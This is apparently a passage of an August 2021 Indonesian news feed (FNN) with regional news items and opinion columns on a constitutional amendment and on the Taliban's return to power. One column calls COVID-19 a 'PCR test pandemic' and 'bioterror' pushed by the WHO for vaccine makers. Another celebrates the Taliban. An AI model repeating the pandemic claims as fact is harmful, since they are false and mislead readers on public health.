ekonomi lokal dan memperkuat perekonomian nasional ke depan," tutur Supari. (mth)

Pemprov Sulsel Resmikan Ruas Jalan Perbatasan Sidrap - Soppeng

Makassar, FNN - Pemerintah Provinsi (Pemprov) Sulawesi Selatan resmikan pembangunan ruas jalan Soppeng - Sidrap tahap ketiga yang baru saja selesai dikerjakan sepanjang 7,3 km dengan anggaran sebesar Rp33 miliar. "Alhamdulillah, hari ini kita sudah resmikan dan sudah bisa dilalui masyarakat," kata Pelaksana Tugas (Plt) Gubernur Sulawesi Selatan Andi Sudirman Sulaiman pada acara peresmian, Sabtu. "Dulu kita pernah lewat ke sini, kondisinya rusak. Alhamdulillah, hari ini jalanan beraspal sudah bisa dinikmati masyarakat," katanya. Ruas ini menjadi akses yang menjadi jalan utama penghubung Kabupaten Soppeng dan Sidrap. Dimana pembangunan ruas jalan ini dikerjakan secara bertahap. Pembangunan jalan dimulai tahun 2019 dengan penanganan sepanjang 5,9 km senilai Rp34 miliar. Selanjutnya tahun 2020 sepanjang 3,1 km senilai Rp14,3 miliar, dan tahun ini sepanjang 7,3 km dengan nilai Rp33 miliar. Untuk menuntaskan jalan ini, direncanakan berlanjut di tahun 2022 sekitar dua km dengan anggaran Rp13 miliar. Secara keseluruhan, untuk total penanganan sepanjang 18,3 km, Pemprov Sulsel mengucurkan anggaran Rp94,3 miliar. Masyarakat setempat antusias menyambut hadirnya jalan beraspal ini. Mengingat kondisi sebelumnya, ruas Kabupaten Soppeng - Batas Kabupaten Sidrap mengalami rusak berat yang bertahun-tahun dinantikan penanganannya. (mth)

Gubernur Sulteng Evaluasi Empat Bupati Terkait Penanganan COVID

Palu, FNN - Gubernur Sulawesi Tengah Rusdy Mastura mengevaluasi kinerja empat bupati di provinsi tersebut terkait dengan penanganan pandemi COVID-19, serta dampak dari pandemi tersebut terhadap sektor ekonomi. Informasi diterima, Sabtu, keempat bupati yang dievaluasi itu Bupati Sigi, Bupati Parigi Moutong, Bupati Buol dan Bupati Banggai yang dilakukan secara virtual, Jumat(21/8). "Saya ingin memastikan apakah penanganan COVID-19 sudah berjalan dengan baik di tingkat kabupaten atau belum," ucap Gubernur Rusdy Mastura. Gubernur Sulteng meminta Bupati Banggai Amirudin Tamoreka menyampaikan langkah-langkah yang telah dilakukan untuk menurunkan kasus COVID-19 di daerahnya. Kepada Gubernur, Bupati Banggai Amirudin Tamoreka menyampaikan bahwa tingkat kepatuhan masyarakat terhadap penggunaan prokes masih rendah. Amirudin juga menyampaikan kepada Gubernur bahwa banyak masyarakatnya yang menganggap bahwa COVID-19 sebagai aib, sehingga masyarakat enggan untuk melakukan isolasi mandiri dan atau dirawat. "Nanti ketika kondisinya sudah gawat, baru masyarakat mau dirawat," kata Bupati Banggai. Kemudian, Gubernur Rusdy meminta Bupati Parigi Moutong yang diwakili Wakil Bupati Badrun Nggai. Kepada Gubenur, Badrun menyampaikan bahwa kepatuhan masyarakat untuk menerapkan prokes masih sangat rendah, walaupun sudah dilakukan himbauan dan peringatan oleh Pemkab Parigi Moutong. Demikian juga laporan dari Bupati Buol Amirudin Rauf. Amirudin juga menyampaikan bahwa pemerintah dan seluruh Forkopimda akan terus melakukan penanganan untuk menghimbau masyarakat agar lebih patuh menerapkan prokes. Sementara Bupati Sigi Mohamad Irwan melaporkan kepada Gubernur Rusdy bahwa saat ini trend penurunan kasus konfirmasi di Kabupaten Sigi sudah mulai menurun. Bahkan, Kabupaten Sigi sudah turun dari zona merah ke zona orange. "Semoga kerja keras satgas dan TNI, Polri kedepan lebih baik lagi sehingga penurunan kasus terus terjadi," ucap Bupati Sigi. Gubernur Rusdy Mastura menekankan kepada empat bupati tersebut agar penangan COVID terus ditingkatkan dan terus diambil kebijakan kebijakan strategis. "Koordinasi dengan TNI dan Polri untuk melakukan penanggulangan COVID di daerahnya, dihimbau kepala desa untuk mengambil peran dalam penanganan COVID di desa," ungkap Gubernur. (mth)

Amandemen UUD 1945 Berbahaya

Oleh Tony Rosyid Banjarnegara, FNN - Amandemen UU 1945, sudah beberapa kali terjadi. UUD 1945 bukan kitab suci, kata Bambang Soesatyo, ketua MPR. Karena itu, bisa diubah dan tak perlu tabu. Kita semua tahu, Bamsoet, panggilan akrab ketua MPR ini adalah inisiator, orang yang paling awal dan paling getol usulkan presiden tiga periode. Entah apa agenda di balik itu, yang pasti semangat itu nampaknya belum surut hingga hari ini. DPR terbelah terkait hal ini. Dua fraksi mendukung Amandemen yaitu PKB dan PPP. Enam fraksi menolak yaitu PKS, Demokrat, Nasdem, Gerindra, Golkar dan PAN. Dua faksi yang berseberangan ini perlu tulisan sendiri untuk membedahnya. Terutama alasan mengapa PKB dan PPP setuju, ini menarik untuk dianalisis kepentingan politiknya dibalik dukungan itu. Tepatnya, ada hal menarik dibalik manuver partai-partai ini. Ditolaknya amandemen UUD 1945 saat ini karena dua alasan. Pertama, alasan normatif. Karena Indonesia sedang fokus hadapi pandemi. Amandemen UUD 1945 bisa membuat pemerintah gagal fokus. Ini argumen normatif, halus dan santun. Biasanya, argumen macam ini hanya basa-basi. Bukan argumen yang sesungguhnya. Argumen semacam ini oleh penguasa dianggap sopan, dan oleh rakyat dianggap rasional. Kedua, argumen substansi. Ada kekhawatiran yang amat serius bahwa amandemen akan dijadikan pintu masuk untuk mengubah masa jabatan presiden. Selama ini, wacana presiden tiga periode atau pemilu diundur 2027 kencang sekali. Ada banyak informasi bahwa ini bukan sekedar wacana dan main-main, tapi ini agenda besar yang telah dipersiapkan dengan matang. Ada pihak-pihak yang ngotot dengan agenda ini untuk menjaga kepentingannya di dalam kekuasaan. Salah seorang ketua umum partai bicara ke saya, jika agenda ini dipaksakan akan berpotensi memicu kegaduhan nasional. Karena jelas-jelas bertentangan dengan aspirasi rakyat. Rakyat mendukung sikap enam partai yang menolak amandemen saat ini. Bukan amandemennya, tapi agenda dibalik amandemen itu yang harus diwaspadai. Meski narasinya "amandemen terbatas", tapi tak ada yang menjamin akan betul-betul terbatas. Ini bisa liar. Sejumlah survei menunjukkan bahwa mayoritas rakyat menolak presiden tiga periode. Ini sama dengan pendapat presiden Jokowi itu sendiri, menolak jabatan presiden tiga periode. Klop! Presiden Jokowi dan rakyat kompak. Jadi, kalau ada pihak-pihak yang memaksakan tiga periode hanya akan mengundang banyak masalah. Ini sikap tidak rasional dan berbahaya. Tapi, semua akan tetap bergantung ke dua pihak. Pertama, ke ketua umum PDIP. Dan kedua, ke presiden Jokowi itu sendiri. Kalau kedua orang ini setuju amandemen, siapa yang bisa menghalangi? Jika amandemen UUD 1945 disetujui, maka lobi dan negosiasi terkait presiden tiga periode akan terbuka. Saat itulah rakyat boleh jadi akan menyaksikan nasib demokrasi kita yang semakin terpuruk. Reformasi pun akan secara sempurna kehilangan jejak spiritnya pasca KPK direvisi UU-nya. Kita berharap, kedua tokoh besar ini menolak amandemen, karena ini berpotensi memancing kegaduhan politik. Lebih baik bangsa ini fokus tuntaskan pandemi dan genjot pertumbuhan ekonomi. *) Pengamat Politik dan Pemerhati Bangsa

Waspadai, Upaya "Selundupkan" Pasal Perpanjangan Jabatan Presiden!

Oleh : Mochamad Toha Pengganti Jokowi dipastikan akan sulit mengembalikan perekonomian yang sudah berantakan dalam waktu 5 tahun. KETUA MPR Bambang Soesatyo telah bertemu dengan Presiden Joko Widodo di Istana Bogor, Jumat (13/8/21). Menurut Ketua MPR, Presiden Jokowi akhirnya setujui amandemen terbatas Undang-Undang Dasar (UUD) Negara Republik Indonesia (RI) Tahun 1945. Politikus Partai Golkar itu memastikan bila nantinya pembahasan amandemen itu tidak akan menjadi bola liar, khususnya terkait perubahan perpanjangan masa jabatan presiden dan wakil presiden menjadi tiga periode. Kekhawatiran itu justru datang dari Presiden Jokowi. Ia mempertanyakan apakah amandemen UUD 1945 tidak berpotensi membuka kotak pandora sehingga melebar, termasuk mendorong perubahan periodesasi presiden dan wakil presiden menjadi tiga periode? “Saya tegaskan kepada Presiden Jokowi, sesuai dengan tata cara yang diatur di Pasal 37 UUD NRI 1945 sangat rigid dan kecil kemungkinan menjadi melebar,” kata pria yang karib disapa Bamsoet seperti dikutip dari laman mpr.go.id, Minggu (15/8/2021). Bamboet menyebut, Presiden Jokowi mendukung dilakukan amandemen terbatas UUD 1945 hanya untuk menghadirkan Pokok-Pokok Haluan Negara (PPHN) dan tidak akan melebar ke persoalan lain. Adapun PPHN diperlukan sebagai bintang penunjuk arah pembangunan nasional. Presiden Jokowi menyerahkan sepenuhnya kepada MPR RI mengenai pembahasan amandemen UUD 1945 untuk menghadirkan PPHN, karena merupakan domain dari MPR. “Beliau hanya berpesan agar pembahasan tidak melebar ke hal lain, seperti perubahan masa periodesasi presiden dan wakil presiden, karena Presiden Jokowi tidak setuju dengan itu,” ujarnya. Wakil Ketua Umum Partai Golkar ini menyatakan, pasal 37 UUD 1945 mengatur secara rigid mekanisme usul perubahan konstitusi. Perubahan tak bisa dilakukan secara serta merta dalam pembahasan rapat semata. Namun, terlebih dahulu diajukan oleh sekurang-kurangnya 1/3 dari jumlah anggota MPR atau paling sedikit 237 pengusul diajukan secara tertulis dan ditunjukkan dengan jelas bagian yang diusulkan untuk diubah beserta alasannya, serta melalui beberapa tahapan sebagaimana diatur dalam Tata Tertib MPR. Dengan demikian, tidak terbuka peluang menyisipkan gagasan amandemen di luar materi PPHN yang sudah diagendakan. “Semisal, penambahan masa jabatan presiden dan wakil presiden menjadi tiga periode. Karena MPR RI juga tidak pernah membahas hal tersebut,” tegas Bamsoet. Menurutnya, amandemen terbatas hanya akan ada penambahan dua ayat dalam amandemen UUD 1945. Salah satu contohnya seperti penambahan ayat pada Pasal 3 dan Pasal 23 UUD 1945. Penambahan satu ayat di Pasal 3 yang memberi kewenangan kepada MPR untuk mengubah dan menetapkan PPHN. Sementara penambahan satu ayat di Pasal 23 mengatur kewenangan DPR menolak RUU APBN yang diajukan presiden apabila tidak sesuai PPHN. “Selain itu, tidak ada penambahan lainnya dalam amandemen terbatas UUD 1945,” kata dia. Pada Rabu 18 Agustus 2021, Bamsoet kembali menegaskan rencana amandemen konstitusi itu dengan menyebut bahwa Konstitusi UUD 1945 bukan merupakan Kitab Suci. Oleh karena itu, menurut Bamsoet, jika ada kehendak untuk melakukan penyempurnaan atau amendemen UUD 1945, maka tidak boleh dianggap tabu. “UUD NRI 1945 memang bukanlah kitab suci, karenanya tidak boleh dianggap tabu jika ada kehendak untuk melakukan penyempurnaan,” ungkap Bamsoet dalam acara peringatan Hari Konstitusi dan Hari Ulang Tahun ke-76 MPR yang dipantau secara daring, Rabu (18/8/2021). Tapi, publik tak percaya dengan ujaran Bamsoet yang menjamin amandemen hanya terbatas pada PPHN dan tidak melebar pada perubahan perpanjangan masa jabatan presiden dan wakil presiden menjadi tiga periode. Sebab, politisi berbohong itu lumrah sebagaimana lazimnya Jokowi berbohong. Sementara itu di DPR, wacana tiga periode atau menambah jabatan Jokowi menjadi 8 atau 7 tahun di periode kedua ini menguat. Pandemi Covid-19 akan dijadikan dalih untuk memperpanjang kekuasaan Jokowi melalui Amandemen konstitusi khususnya ketentuan pasal 7 UUD 1945. Ia menjamin amandemen hanya terkait PPHN. Sayangnya Bamsoet tak mau merinci apa yang dimaksud PPHN dalam wacana amandemen. Bagaimana jika dalam PPHN dimaksud memuat PPHN dalam Kondisi Darurat? Bagaimana nanti jika kelak Kondisi Darurat itu termasuk bencana non alam seperti Pandemi Covid-19? Sastrawan Politik Ahmad Khozinudin mempertanyakan, bagaimana nanti, jika norma yang diadopsi dalam amandemen PPHN berbunyi: “Dalam hal negara mengalami kegentingan yang memaksa, baik oleh sebab bencana alam, bencana non alam, kerusuhan, dan sebab lainnya, maka Pemilu dan Pilpres ditangguhkan,” tulisnya. Dan, “Jabatan Presiden dan Wakil Presiden, anggota DPR, DPD dan MPR ditambah hingga menjadi 8 tahun dan setelahnya Pemilu dan Pilpres dapat kembali diselenggarakan dengan memperhatikan kondisi kegentingan telah berlalu.” Seperti diketahui, beberapa bulan terakhir ramai kembali soal wacana masa jabatan presiden dan wakil presiden ditambah menjadi tiga periode. Wacana itupun seolah menguat dengan munculnya sejumlah komunitas pendukung Jokowi untuk maju kembali sebagai presiden. Namun, dibutuhkan amendemen UUD 1945 untuk mengubah ketentuan yang mengatur masa jabatan presiden itu, misalnya menjadi maksimal tiga periode. Karena, gagasan tiga periode jelas menabrak Pasal 7 UUD 1945 yang menyatakan presiden dan wakil presiden hanya bisa menjabat maksimal dua periode. Sebelumnya, Komunitas Jokowi-Prabowo 2024 alias Jokpro 2024 terus mendorong supaya Presiden Jokowi bisa maju lagi pada Pilpres 2024 berpasangan dengan Prabowo Subianto. Penasihat Jokpro 2024, M. Qodari optimis Amandemen UUD 1945 mengenai masa jabatan presiden menjadi 3 periode sangat mungkin dilakukan apabila syarat-syarat yang ditentukan dalam UUD RI 1945 terpenuhi. “Memang UUD 45 sudah mengatur pada pasal 37 bahwa UUD 45 bisa diubah sejauh syarat-syaratnya dipenuhi, diusulkan sepertiga anggota MPR, kemudian dihadiri 2/3 anggota MPR dan juga disetujui 50 persen plus 1 kalau nggak salah nanti bisa dicek konstitusinya,” ujarnya. “Tapi intinya sejauh syarat-syarat itu terpenuhi, maka kemudian amandemen bisa dilakukan,” lanjut Qodari dalam keterangannya, Sabtu (13/8/2021). Ia menambahkan, pada kenyataannya amandemen UUD 1945 sudah pernah dilakukan beberapa kali: 1999, 2000, 2001, dan 2002. Ia mengatakan, amandemen itu dilakukan secara faktual bukan prank atau tipuan. Untuk itu, Qodari berpandangan dengan besarnya koalisi pemerintahan di parlemen sudah memenuhi syarat untuk melakukan amandemen UUD 1945. “Jadi kalau kita bicara kekuatan politik yang ada pada hari ini ya yang ada di parlemen, itu sudah sangat mendekati syarat-syarat untuk peluang bisa terjadinya amandemen, begitu,” ungkapnya. Qodari menyatakan, dukungan untuk Jokowi maju menjadi tiga periode saat ini pekerjaan rumahnya hanya dengan rakyat. Pasalnya soal urusan dengan elite politik terkait amandemen sudah terselesaikan. “Jadi PR kita hari ini ada dua, pertama elite politik, yang kedua adalah masyarakat, saya melihat bahwa PR terbesar itu justru ada di masyarakat, karena ya kalau bicara elite politik tanya setuju apa nggak, ya kan 80 persen koalisinya Pak Jokowi,” kata Qodari. Menurut Direktur Eksekutif Indo Barometer tersebut, dengan koalisi besar di parlemen bukan tidak mungkin amandemen akan dilakukan. Menurutnya, UU Omnibus Law yang berat saja bisa lolos di parlemen. “Kita udah melihat bagaimana perundang-undangan yang sulit misalnya seperti Omnibus Law segala macam kan disetujui begitu. Jadi, saya melihat PR kita itu ada di masyarakat,” lanjut Qodari. Ia memperkirakan target amandemen UUD 1945 terjadi sebelum dimulainya tahapan pemilu oleh KPU yang diperkirakan akan terjadi sekitar pertengahan 2022. Agar antara amandemen dengan tahapan pemilu tidak bertabrakan sekaligus mempermudah pekerjaan KPU. Tapi, berdasarkan pengalaman selama ini, yang patut diwaspadai adalah “penyelundupan” pasal “perpanjangan” jabatan presiden dan wakil presiden. Sumber FNN.co.id dan FORUM yang dekat dengan Istana menyebutkan, semua skenario itu tak mungkin diterima Presiden Jokowi. “Apa pun caranya untuk 3 periode, akan ditolak oleh Jokowi,” ungkapnya. Sebab, rencana 3 periode bagi Presiden Jokowi terlalu beresiko. “Dia harus tanggungjawab kembalikan kondisi ekonomi RI yang hancur. Yang tak mungkin bisa dikembalikan dalam 5 tahun terakhir,” lanjutnya. “Jokowi itu pinter, Mas. Daripada mumet mengembalikan kondisi perekonomian RI yang berantakan, lebih baik mundur teratur dan aman. Biarkan Presiden hasil Pilpres 2024 yang tanggungjawab kembalikan perekonomian RI yang sudah berantakan,” tegasnya. Sehingga siapa pun Presiden hasil Pilpres 2024, dipastikan namanya rusak karena tidak akan mampu mengembalikan perekonomian Indonesia dalam waktu singkat. Penulis adalah Wartawan FNN.co.id

Taliban Menang Umat Senang

By M Rizal Fadillah TALIBAN pimpinan Hibatullah Akhundzada menang, rezim boneka tumbang, Ashraf Ghani tunggang langgang, umat Islam senang. Sebagai kekuatan Islam puritan di Afghanistan yang selalu dipojokkan bahkan dikualifikasi kelompok radikal bahkan teroris, kesuksesannya menjadi perhatian dunia. Uniknya setelah kembali berkuasa Taliban justru menuai harapan. Afghanistan yang lebih baik ke depan. Pimpinan baru adalah Abdul Ghani Baradar. Awalnya boneka Sovyet Komunis Babrak Karmal menjadi Presiden setelah menggulingkan dan mengeksekusi mati Hafizullah Amin. Gabungan kekuatan Mujahidin pimpinan Gulbuddin Hekmatyar melakukan perlawanan dan berhasil mengambil alih kekuasaan. Namun yang terjadi adalah perang saudara. Faksi baru Taliban sukses merebut kekuasaan yang kemudian digulingkan oleh invasi Amerika. Ashraf Ghani menggantikan Hamid Karzai boneka Amerika. Taliban kini mengusir Ghani dan berhasil berkuasa untuk kedua kalinya. Sebelum sukses seperti saat ini, delegasi Taliban pernah datang ke Indonesia untuk membangun hubungan baik. Jusuf Kalla menjadi figur penting dari persahabatan ini. Dan saat bangsa Indonesia merayakan HUT kemerdekaan ke 76 kemarin Taliban mengucapkan selamat dan menyatakan kemenangan perjuangannya serupa dengan bangsa Indonesia yang telah memerdekakan negaranya dari penjajah asing. Kemenangan Taliban dapat membuat ketar-ketir rezim yang cenderung memusuhi umat Islam. Penyematan Islam radikal, intoleran, bahkan ekstrem adalah bukti tiada penghargaan dan persahabatan kepada umat. Kriminalisasi ulama dan tokoh Islam adalah bukti lanjutan. Sesungguhnya aneh pemimpin negara ini justru cenderung mengeliminasi kekuatan Islam. Benar Taliban itu di Afghanistan bukan di Indonesia tapi pemimpin negara Indonesia harusnya sadar bahwa umat Islam dimana pun adalah pejuang. Bukan umat yang mudah untuk dikuyo-kuyo. Taliban memberi pelajaran bahwa penjajah itu cepat atau lambat akan dikalahkan. Pemerintah Jokowi seharusnya jangan memusuhi dan meminggirkan kekuatan umat Islam. Karena hal demikian di samping a historis tetapi juga mengabaikan fakta politik. Dampaknya akan buruk, bukan saja menjadi catatan hitam sejarah tetapi juga akan terus mendapat perlawanan. Andai Pemerintah segera membebaskan HRS, mengusut pelanggaran HAM berat pembunuhan 6 laskar FPI, melepas tokoh KAMI yang diadili, serta mengubah kebijakan politik anti Islam, maka Jokowi mungkin akan selamat. Taliban sudah pasti tidak berkaitan dengan Indonesia namun persoalan keumatan dan kekuasaan berlaku universal. Spiritnya sama yaitu tidak boleh ada penjajahan dan tindakan sewenang-wenang. Agama yang dimusuhi dan dikecilkan adalah jalan menuju keruntuhan dan malapetaka. Keberhasilan Taliban itu di luar dugaan semua pihak. Amerika pun kaget atas cepatnya Taliban merebut Istana. Semoga Pemerintah Indonesia juga semakin arif dan bijaksana. Perubahan itu sering terjadi dengan cepat dan tiba-tiba. "Maka ketika mereka melupakan peringatan yang telah diberikan kepada mereka, Kami pun membukakan semua pintu (kesenangan) untuk mereka. Sehingga ketika mereka bergembira dengan apa yang diberikan, Kami turunkan siksa secara tiba-tiba (baghtatan), maka ketika itu mereka terdiam putus asa" (QS Al An'am 44). *) Pemerhati Politik dan Kebangsaan

Inspirasi Santri Afghan

Oleh : Daniel Mohammad Rosyid DUNIA beberapa hari ini dikejutkan oleh kemenangan para santri Afghan dalam mengambil alih pemerintahan dari pemerintahan sebelumnya. Pemerintahan boneka yang mengandalkan dukungan AS dan sekutunya untuk bertahan kini meninggalkan Afghanistan entah ke mana. Selama 20 tahun lebih para santri Afghan itu berjuang dengan darah dan airmata untuk mengusir penjajah. Lebih menakjubkan lagi: Kabul ditaklukan hampir-hampir tanpa setetes darah pun. Ironis, di sebuah kawasan di timur jauh Afghanistan berjarak sekitar 10ribu kilometer yang disebut Indonesia, sejarah justru menemukan sebuah bangsa yang pernah menyatakan kemerdekaannya namun kini justru semakin terjajah secara politik, ekonomi dan budaya. Bangsa yang berani menyebut dirinya merdeka selama 76 tahun justru telah kehilangan jati dirinya sebagai bangsa merdeka. Kemerdekaan yang diproklamasikan oleh Soekarno-Hatta itu sejak awal sudah dibegal oleh kekuatan-kekuatan nekolimik asing yang tidak pernah rela membiarkan negeri kepulauan ini merdeka, bersatu, berdaulat, adil dan makmur. Konferensi Meja Bundar 1949 sudah menjegal konstitusi UUD 45 pada saat republik ini harus tunduk pada non-state actors semacam IMF dan the World Bank. Sistem keuangan riba sejak awal telah membuat kemerdekaan itu ilusif. Penjarahan kekayaan alam negeri ini dilakukan secara terstruktur, sistemik dan masif melalui riba ini. Kini kita dipaksa WHO untuk percaya bahwa pandemi PCR test ini adalah pandemi Covid-19 untuk merampas kebebasan sipil demi kejayaan industri vaksin asing. Longsor konstitusional oleh riba itu kemudian diikuti oleh gempa sekulerisme, banjir konsumerisme dan akhirnya tsunami dunguisme sejak 5 tahun terakhir. Gempa sekulerisme itu berepicentrum pada sistem persekolahan paksa massal yang dirancang sebagai instrumen teknokratik untuk menjauhkan agama dari kehidupan berbangsa dan bernegara, menyiapkan tenaga kerja yang trampil untuk menjalankan mesin-mesin pabrik sekaligus cukup dungu untuk bekerja bagi kepentingan investor asing. Konsumerisme dipompa lebih jauh melalui televisi dan setelah era internet dan medsos selama 10 tahun terakhir, dunguisme mentsunami bangsa ini. Dunguisme ini diperberat melalui covid-19 Meerlooan bioterror yang telah memperkosa pikiran waras massal manusia selama setahun lebih ini. Adalah santri Afghan yang masyhur disebut Thaliban itu yang menjadi penghibur bagi pikiran yang masih mencoba untuk merdeka dari teror ketakutan covid-19 ini. Kini monsterisasi Thaliban mulai digencarkan oleh residu dan boneka kekuatan-kekuatan nekolimik untuk tetap menjajah bangsa ini. Proklamasi telah mengantarkan bangsa ini ke depan pintu gerbang kemerdekaan, namun seluruh protokol covid-19 ini justru mendesaknya mundur dari pintu gerbang itu. Hak-hak dasar kita sebagai warga negara yang merdeka justru dirampas, dan massal warga negara itu justru membiarkan perampasan itu terjadi dengan alasan kesehatan publik. Sejarah telah menemukan kami kini menjadi bangsa yang kerdil. Merdeka adalah bebas dari penghambaan kepada apa pun selain hanya kepada Allah, Tuhan Yang Maha Esa. Penampilan para santri Afghan yang sederhana itu memberi inspirasi bahwa kemerdekaan itu memang sederhana. Tapi yang sederhana ini ternyata sulit dipahami oleh manusia berjas dan berdasi yang sudah mengalami gempa sekulerisme, banjir konsumerisme dan tsunami dunguisme. Negara-negara yg masih menyebut dirinya dengan congkak sebagai negeri maju itu kini dicekam oleh Orwellian totaliterianism. Terimakasih Thaliban (santri Afghan), untuk inspirasimu. Sudilah belajar dari keteledoran kami. Jangan ulangi kesalahan pemimpin-pemimpin kami. Semoga Allah SWT memberi ridha, maunah dan kekuatan untuk membangun Afghanistan yang merdeka, bersatu, berdaulat, adil dan makmur serta menjadi bagian dari komunitas dunia yang cinta perdamaian dan kemerdekaan. Aamiin. (Bandung, 20 Agustus 2021) Ketua MPUI-I (Majelis Permusyawaratan Ummat Islam Indonesia)

BRI Kanwil Surabaya Catat Pertumbuhan Kredit 12,03 Persen

Surabaya, FNN - BRI Kantor Wilayah (Kanwil) Surabaya mencatatkan pertumbuhan kredit pada Juli 2021 mencapai 12,03 persen (YoY), dengan jumlah kredit sebesar Rp43,9 triliun, yang ditopang dari Kredit Usaha Rakyat (KUR) dan tumbuh sebesar 55,28 persen atau sebesar Rp3,3 triliun (YoY). Pemimpin Wilayah BRI Surabaya Triswahju Herlina di Surabaya, Jumat mengatakan, pencapaian ini merupakan wujud komitmen BRI Kanwil Surabaya dalam mendukung perekenomian Jawa Timur di tengah upaya dalam menangani COVID-19 serta PPKM darurat dan PPKM level 4. “BRI Regional Surabaya akan terus mengoptimalkan program Pemulihan Ekonomi Nasional (PEN) melalui penyaluran KUR atau Kredit bersubsidi kepada pelaku UMKM sesuai dengan peraturan menteri keuangan (PMK) No.138/2020," katanya. Ia menambahkan, sepanjang tahun 2021, BRI Kanwil Surabaya telah menyalurkan KUR sebesar Rp5,6 triliun yang didominasi oleh KUR Mikro sebesar 4,9 Trilun. "BRI Regional Surabaya mendapatkan amanah untuk menyalurkan KUR sebesar Rp11 Triliun, dimana hal tersebut menjadi penyemangat kami untuk terus produktif sehingga memberi makna untuk Indonesia," katanya BRI Regional Surabaya telah menyalurkan KUR ke berbagai sektor ekonomi, saat ini sektor perdagangan masih menjadi sektor ekonomi yang mendominasi penyaluran KUR di BRI Regional Surabaya dengan jumlah share 44 persen. Sektor ekonomi lain yang mendominasi adalah Sektor Pertanian sebesar 14,5 persen dan Sektor Industri Pengolahan sebesar 13 persen. Triswahju menegaskan, sebagai BUMN, BRI Kanwil Surabaya akan terus berkomitmen mendorong percepatan pertumbuhan kredit yang pada akhirnya bisa mendorong pertumbuhan Ekonomi. BRI juga akan terus meningkatkan perannya melalui layanan transaksi keuangan dan memfasilitasi penyaluran kredit kepada UMKM. Upaya percepatan tersebut diakselerasi dengan memperluas layanan KUR melalui KUR super mikro yang ditujukan untuk masyarakat yang belum pernah mendapatkan KUR dan tidak sedang menikmati pinjaman komersial dan Ibu Rumah Tangga yang memiliki usaha dengan plafond maksimal Rp10 Juta untuk ke setiap penerima KUR Super Mikro. Sementara itu, Kanwil BRI Surabaya menaungi beberapa wilayah di Jawa Timur antara lain Kota Surabaya, Kabupaten Sidoarjo, Gresik, Bangkalan, Pamekasan, Sumenep, Sampang, Bojonegoro, Jombang, Lamongan, Tuban, Mojokerto dan Kota Mojokerto. (mth)

Ismail Sabri Yakoob Jadi Perdana Menteri Malaysia yang Baru

Kuala Lumpur, FNN - Ismail Sabri Yakoob akhirnya ditunjuk sebagai Perdana Menteri Malaysia kesembilan setelah Raja Malaysia bertemu dengan raja-raja Melayu di Kuala Lumpur, Jumat, 20 Agustus 2021. Ia menggantikan Muhyiddin Yassin yang mengundurkan diri pada awal pekan ini. "Istana Negara mengumumkan Raja Malaysia Sultan Abdullah telah berkenan melantik Ismail Sabri sebagai perdana menteri baru," kata juru bicara Istana Negara, Ahmad Fadil Shamsuddin. Sesuai rencana, Ismail Sabri Yakoob yang menjadi Wakil PM Malaysia pada era Yassin akan dilantik dan diambil sumpahnya pada Sabtu, 21 Agustus 2021. Terpilihnya Ismail diharapkan bisa mengurangi tensi politik di negara jiran tersebut. Dia mengatakan, raja telah menerima surat akuan bersumpah bahwa sebanyak 114 anggota parlemen telah mencalonkan anggota parlemen Bera, Ismail Sabri Yaakob, sebagai Perdana Menteri Malaysia menggantikan Muhyiddin Yassin yang mengundurkan diri, Senin, 16 Agustus 2021. "Proses selanjutnya adalah pelantikan, pengangkatan dan penandatanganan sumpah jabatan yang dijadwalkan pada 21 Agustus 2021 puku 14.30," kata Ahmad. Dia mengatakan, dengan pelantikan perdana menteri baru, pemerintah perlu segera meneruskan upaya menangani pandemi Covid-19, demi keselamatan rakyat Malaysia. "Raja juga mengharapkan agar kemelut politik segera diakhiri. Semua anggota parlemen dapat bersatu hati dalam menangani pandemik demi kepentingan rakyat," kata Ahmad, sebagaimana dikutip dari Antara. Ismail Sabri merupakan Wakil Presiden UMNO dan mantan Wakil Perdana Menteri Malaysia di era Muhyiddin Yassin. (MD).

Terkait Sumbangan Bohong Rp 2 Triliun, Tim Internal Polisi Segera Laporkan Hasil Pemeriksaan Kapolda Sumatera Selatan

Jakarta, FNN - Kepala Divisi Humas Polri Irjen Argo Yuwono mengatakan, Tim Internal Polri dari Itwasum dan Propam Polri segera melaporkan ke Kapolri hasil pemeriksaan Kapolda Sumatera Selatan Irjen Pol Eko Indra Heri terkait donasi Rp 2 triliun dari Akidi Tio. "Jadi Tim Itwasum sudah kembali dari Sumsel dalam meminta keterangan Kapolda Sumsel, begitu juga Tim Propam juga sudah kembali," kata Argo dalam konferensi pers, di Gedung Bareskrim Polri Jakarta Selatan, Jumat, 20 Agustus 2021. Sejak tanggal 4 Agustus 2021 Tim Inspektorat Pengawasan Umum (Itwasum) serta Divisi Profesi dan Pengamanan Kepolisian (Propam) diturunkan untuk meminta keterangan Eko Indra Heri terkait donasi untuk penanganan Covid-19 yang membuat gaduh di masyarakat. Setelah hampir dua pekan, tim kembali dan segera menyusun laporan hasil pemeriksaan kepada Kapolri Jenderal Pol Listyo Sigit Prabowo. Argo tidak merincikan apa saja hasil pemeriksaan oleh Tim Internal Polri tersebut. Hasil pemeriksaan akan disampaikan kepada masyarakat lewat pers setelah laporan diserahkan kepada Kapolri. "Tentunya, nanti setelah dari Itwasum menyusun laporan, nanti akan diberikan ke Bapak Kapolri. Dari Paminal nanti dikirim. Tadi ketemu Kadiv Propam, mereka sedang membuat laporannya, biar nanti hasil dari pemeriksaan diajukan ke Kapolri dulu," ujar Argo. Mengenai pencopotan maupun rotasi Kapolda Sumatera Selatan, kata Argo, ada standar prosedur operasi (SOP) dan aturan tersendiri, salah satunya menunggu hasil pemeriksaan Itwasum dan Propam Polri. "Tentunya, ini semua kami harus mengetahui nanti bagaimana hasil daripada kegiatan Itwasum dan Propam ini setelah laporan diajukan kepada Bapak Kapolri. Ini masih dalam proses pembuatan (laporan-red)," kata Argo, sebagaimana dikutip dari Antara. Sebelumnya diberitakan, Kepala Polisi Daerah Sumatera Selatan Inspektur Jendral Polisi Eko Indra Heri telah menyampaikan permohonan maaf kepada seluruh masyarakat ihwal dana hibah Rp 2 triliun dari almarhum Akidi Tio yang belum jelas keberadaannya. Kegaduhan dana hibah tersebut bermula saat itu ia dihubungi Kepala Dinas Kesehatan Provinsi Sumatera Selatan, Lesty Nurainy dan dokter keluarga almarhum Akidi Tio, Hardi Darmawan di rumah dinasnya, Jumat (23/7), untuk membicarakan pemberian donasi. Ketika itu, sebagai kapolda, ia hanya dipercayakan menyalurkan bantuan uang itu dan diminta dikawal transparansinya. Namun, karena menaruh kepercayaan terhadap inisiasi kemanusiaan tersebut lantas tidak terlalu mendalami kepastiannya, sebab sudah diyakinkan uang tersebut tinggal diproses pencairannya saja. 